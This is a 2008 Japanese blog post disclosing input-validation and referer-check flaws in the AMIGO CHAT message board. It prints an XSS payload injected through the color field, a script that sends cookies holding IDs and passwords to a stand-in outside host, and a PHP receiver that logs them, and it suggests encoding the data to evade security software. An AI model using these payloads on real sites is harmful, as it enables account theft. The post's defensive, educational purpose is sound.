GEEKy Script Writer [perl and more!]
You should permit the JavaScript!!
スポンサーサイト
上記の広告は1ヶ月以上更新のないブログに表示されています。
新しい記事を書く事で広告が消せます。
【AMIGO】掲示板の脆弱性は怖い!【CHAT】
こういうのが出たので、いよいよ注意喚起せねばなるまいと思い、この記事を書きます。
掲示板をプログラムするときの反面教師としてこの記事を書きますが、絶対に悪用しないでください。

では追記で。
AMIGO CHATお題掲示板には数々の恐ろしい脆弱性が潜んでます。


脆弱性その1・・・リファラによる排他を行っていない。

リファラ排他は、掲示板には最低限必要な排他処理と言ってもいいでしょう。
もちろん、少し手の込んだプログラマにかかれば、リファラ制限なんてものは関係ないものですが、HTMLやJavaScript弄れるぐらいの人が、おいたでやる騙しフォームや、外部からの強制書き込みぐらいは排他できます。


脆弱性その2・・・タグ抜きを行っていない。

普通に投稿する内容のところはタグ抜き(つまり、<を&lt;のようにすること)がされていますが、色の部分が未チェックで、ここにタグを仕込むことができてしまいます。
また、ダブルクォーテーションマーク("←これね)がエスケープされているように見えますが、PHPの設定で前にバックスラッシュがついているだけで、これではブラウザは解釈してしまいます。
&#34;等にエスケープしなくてはなりません。


また、このお題掲示板にはCOOKIEでID/PWDが埋め込まれているため、これらの情報を外部に漏らすようなことが可能になってしまいます。
具体的にお話しましょう。


色の項目(このお題掲示板では、color要素)からはタグも抜かれず、また"もエスケープされないため、ここに例えば

ff0000"><script src=http://hoge.anywhere.server/xss.js></script><b "

のような値を埋め込むと、投稿されたときに青文字で記したJavaScriptがブラウザによって実行されてしまいます。
この呼び出し先スクリプトから、例えば

document.write("<img src='http://hoge.anywhere.server/xss.php?cookie="+document.cookie+"' width=0 height=0 border=0>");

のようにすると、bbs.amigo-chat.comのCOOKIE情報(ID/PWD情報も含まれている!)が、なんと別のサーバーに送信されてしまうわけです。
また、セキュリティソフトで流出しないようにしてるから安心というわけにもいきません。
何らかの暗号化や、もしくはBase64やそれよりマイナーなbasE91でデータをエンコードしてしまうと、恐らくセキュリティソフトの監視の目もかいくぐれてしまうでしょう。
また、その受信側PHPで、渡されたCookieの値を保存するような処理、例えば

<?
$fp = fopen("./xss.log","a");
fputs($fp,$_GET['cookie']."\n");
fclose($fp);
?>

のようなコードであった場合、サーバーにID/PWD情報を含めたCookieデータが保存されてしまい、ID/PWD情報が悪用されてしまう恐れもあるわけです。


以上のようなID/PWD流出の脆弱性があるわけですが、今回さらにたちが悪いのは、リファラ制限を行っていないため、最初にリンクしたブログでやってるような騙しフォームから、真犯人でない人に書き込みをさせてしまえ得るという問題点があることです。
実際にID情報などが流出したとき、誰が真犯人であるかの特定が難しくなってしまい、事後処理にも時間がかかってしまうわけです。


というわけで、皆さんが掲示板やチャットなどをプログラムするときには、最低限次のことに心がけてください。
・ブラウザから送られてきたデータは信用するな!全ての項目からタグや改行、"などを取り除け!
・リファラ制限をかけろ!厨房程度なら弾ける!

何度も書きますが、この記事の内容を悪用することは絶対にしないでください。

テーマ:インターネット - ジャンル:コンピュータ

コメント
この記事へのコメント
なかなか、いーこと書くじゃんか
2008/10/26 (日) 11:37:05 | URL | pライスレス #cFdxWF8I[ 編集]
コメントを投稿する
URL:
Comment:
Pass:
秘密: 管理者にだけ表示を許可する
 
トラックバック
この記事のトラックバックURL
この記事へのトラックバック
前の記事に書いたのと同じようなことが、AMIGO BLOGでも起こりうる。 詳細は追記のほうで。
2008/10/27(月) 22:00:09 | GEEKy Script Writer [perl and more!]
copyright © 2005 GEEKy Script Writer [perl and more!] all rights reserved.
Powered by FC2ブログ.
上記広告は1ヶ月以上更新のないブログに表示されています。新しい記事を書くことで広告を消せます。